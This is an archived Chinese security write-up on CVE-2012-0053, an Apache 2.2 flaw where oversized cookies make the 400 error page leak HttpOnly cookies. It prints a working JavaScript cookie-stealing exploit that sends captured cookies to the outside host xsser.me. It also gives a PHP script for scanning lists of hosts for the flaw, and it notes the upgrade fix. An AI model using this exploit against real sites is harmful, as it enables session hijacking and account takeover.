# CVE-2012-0053详解

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2013-08-15T07:25:00Z
Canonical: https://wepostx.com/topics/955

> 乌云历史资料归档
>
> **原始作者：** VIP
> **原始编号：** superkieran-wooyundrops:69
> **原始发布时间：** 2013-08-15 15:25
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 背景

Apache服务器2.2.0-2.2.21版本存在一个漏洞（CVE-2012-0053），攻击者可通过给网站植入超大的Cookie，使得HTTP头超过apache的LimitRequestFieldSize（最大请求长度）4192字节，apache便会返回400错误，状态页中就包含了http-only保护的cookies。

## 0x01 详情

老外在exploit-db上公布了测试apache站点是否有这个问题的js代码。
[http://www.exploit-db.com/exploits/18442/](http://www.exploit-db.com/exploits/18442/)
代码稍微改一下就可以是一个收取cookie的exp了，看一下xsser.me的模块：

```text
#!javascript function setCookies() { /*apache server limit 8192*/ var str = ""; for (var i = 0; i < 819; i++) { str += "x"; } for (i = 0; i < 10; i++) { var cookie = "ray" + i + "=" + str + ";path=/"; document.cookie = cookie; } } function parseCookies() { if (xhr.readyState === 4 && xhr.status === 400) { var content = xhr.responseText.replace(/\r|\n/g, '').match(/<pre>(.+)<\/pre>/); content = content[1].replace("Cookie: ", ""); cookies = content.replace(/ray\d=x+;?/g, '') try { var myopener = ''; myopener = window.parent.openner.location; var myparent = ''; myparent = window.parent.location; } catch(err) { myopener = '0'; myparent = '0'; } window.location = 'http://xsser.me/index.php?do=api&id={projectId}&location=' + escape(document.location) + '&toplocation=' + escape(myparent) + '&cookie=' + escape(cookies) + '&opener=' + escape(myopener); } } setCookies(); var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open("POST", "/?" + Math.random(), true); xhr.send(null);
```
在执行这段代码后，会种下10个819字节长的cookie，使得请求头超过最大请求长度，然后发起一次POST请求，待服务器返回400错误后从状态页中正则提取出经http-only保护的cookies。

![原文图片](/media/2016/06/106d0fbbb6387629921ab1374b825720)

## 0x02 危害

关于此漏洞的利用，乌云上也有相关案例，如：
[WooYun: 腾讯分站 Apache 漏洞](http://www.wooyun.org/bugs/wooyun-2012-06947)
其实最经典的案例要数这个了：
[WooYun: XSS漏洞渗透新浪微博《头条新闻》账号](http://www.wooyun.org/bugs/wooyun-2012-09777)
微博本身重要的cookie都设置了httponly，但是有一个域名下有这个apache漏洞。
刚好也有一个flash的xss，导致了此事件的发生。

## 0x03 后续

这个漏洞再次证明了：
本来是一个正常的功能，可因为设计不当成了XSS的帮凶。
下面的代码是之前的简单的写了一个验证是否存在这个漏洞的php脚本。
各位有需要的可以拿去使用下，现在估计存在这个问题的不多了，去年刚出来的时候可是大片存在。

```text
#!php <?php //生成构造特殊cookie function cookie () { $str = ""; for ($i=0; $i< 819; $i++) { $str .= "x"; } $cookie= "secdragon=secdragon;path=/"; for ($i = 0; $i < 10; $i++) { $cookie .= "xss".$i."=".$str.";path=/"; } return $cookie; } //获取url，发包判断返回状态及结果 function my_get_http_result($url){ if (empty($url)){ return false; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_COOKIE, cookie()); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if( $info['http_code'] == "400" ) return $result; else{ return ''; } } //判断是否成功获取cookie function check($url){ $a=my_get_http_result($url); if(strpos($a,'secdragon=secdragon')) echo $url.':success!'."<br/>"; else{ echo $url.':failed!'."<br/>"; } } //获取需检测ip，也可将ip放在同目录下的ip.txt中，一行一个ip $url=(@$_GET['url'])?$_GET['url']:@$argv[1]; if(!$url){ $fp=fopen('ip.txt','r+'); while($ipstr=fgets($fp)){ if(preg_match('#[\w\.]+#',$ipstr,$match)){ check($match[0]); } } }else{ check($url); } ?>
```

## 0x04修复方式
Apache2.2.22及以上版本已经修复此问题，升级即可解决。

## Replies
